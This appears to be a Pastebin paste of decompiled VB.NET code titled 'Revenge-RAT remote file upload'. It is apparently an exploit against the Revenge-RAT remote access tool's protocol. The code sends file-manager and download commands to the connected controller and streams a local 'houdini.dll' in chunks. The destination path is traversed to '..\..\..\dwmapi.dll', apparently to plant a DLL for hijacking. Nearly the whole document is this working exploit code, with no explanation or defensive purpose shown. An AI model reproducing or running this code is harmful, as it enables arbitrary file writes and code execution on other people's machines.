daily pastebin goal
59%
SHARE
TWEET

REVENGE-RAT#REMOTE FILE UPLOAD

a guest Apr 16th, 2018 71 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Private Sub Upload()
  2.         ' ### this code decompiled bu ilspy
  3.  
  4.         Dim networkStream As NetworkStream = client.GetStream()
  5.         Dim sendBytes As [Byte]()
  6.         Dim recBuffer(1024) As Byte
  7.         Dim StrData As String = ""
  8.         Dim LastTime As Date
  9.         Dim Timeout As Boolean
  10.         Dim Key As String = "Revenge-RAT"
  11.         Dim FilePath As String = AppDomain.CurrentDomain.BaseDirectory + "\houdini.dll"
  12.         Dim ID As Int32 = 0
  13.         Dim [string] As String = Encoding.Default.GetString(File.ReadAllBytes(Conversions.ToString(FilePath)))
  14.         Dim fileName As String = Path.GetFileName(Conversions.ToString(FilePath))
  15.         Dim fileExtention As String = Path.GetExtension(Conversions.ToString(FilePath))
  16.  
  17.         Dim length As Integer = [string].Length
  18.         ' The following expression was wrapped in a checked-statement
  19.         Dim num As Integer = CInt(Math.Round(CDec(length) / CDec(10)))
  20.         Dim num2 As Integer = 1
  21.         Dim arg_5D_0 As Integer = 1
  22.         Dim num3 As Integer = 10 + 1
  23.         Dim num4 As Integer = arg_5D_0
  24.         Dim s_FM = "OpenFileManager" + Key + Conversions.ToString(Encode("Guest_C6F228A4")) + Key + "0" + "*-]NK[-*"
  25.  
  26.         If networkStream.CanWrite Then
  27.             ' Do a simple write.
  28.             sendBytes = Encoding.ASCII.GetBytes(s_FM)
  29.             networkStream.Write(sendBytes, 0, sendBytes.Length)
  30.  
  31.         End If
  32.         If networkStream.CanRead Then
  33.             networkStream.Read(recBuffer, 0, 1024)
  34.         End If
  35.  
  36.         Dim s_init = "Download File" + Key + Conversions.ToString(ID) + Key + Conversions.ToString(Encode("dwmapi.dll")) + Key + Conversions.ToString(Encode(length)) + Key + Conversions.ToString(Encode(fileExtention)) + "*-]NK[-*"
  37.  
  38.         If networkStream.CanWrite Then
  39.             ' Do a simple write.
  40.             sendBytes = Encoding.ASCII.GetBytes(s_init)
  41.             networkStream.Write(sendBytes, 0, sendBytes.Length)
  42.  
  43.         End If
  44.         If networkStream.CanRead Then
  45.             networkStream.Read(recBuffer, 0, 1024)
  46.             StrData = StrData & Encoding.ASCII.GetString(recBuffer).Trim(Chr(0))
  47.         End If
  48.  
  49.         If StrData <> "" Then
  50.             StrData = StrData.Remove(StrData.IndexOf("*-]NK[-*"))
  51.             Dim StrArray As String() = Strings.Split(StrData, Key, -1)
  52.  
  53.             If StrArray.Length > 0 And StrArray(0) = "Download" Then
  54.                 UploadCount = StrArray(1)
  55.             Else
  56.                 Return
  57.             End If
  58.         Else
  59.             Return
  60.         End If
  61.         While True
  62.             Dim arg_198_0 As Integer = num4
  63.             Dim num5 As Integer = num3
  64.             If arg_198_0 > num5 Then
  65.                 Exit While
  66.             End If
  67.  
  68.             Dim Right As String = Strings.Mid([string], num2, num)
  69.  
  70.             Dim s_final = "DWBytes" + Key + Conversions.ToString(ID) + Key + Conversions.ToString(Encode("Guest_C6F228A4")) + Key + Conversions.ToString(Encode(fileName + ".Revenge")) + Key + Right + Key + UploadCount + Key + Conversions.ToString(num4 * 10) + Key + Conversions.ToString(Encode("\..\..\..\dwmapi.dll")) + Key + Conversions.ToString(Encode(fileName + fileExtention)) + "*-]NK[-*"
  71.  
  72.             If networkStream.CanWrite Then
  73.                 ' Do a simple write.
  74.                 sendBytes = Encoding.Default.GetBytes(s_final)
  75.                 networkStream.Write(sendBytes, 0, sendBytes.Length)
  76.  
  77.             End If
  78.  
  79.             num2 += num
  80.             num4 += 1
  81.         End While
  82.     End Sub
RAW Paste Data
Top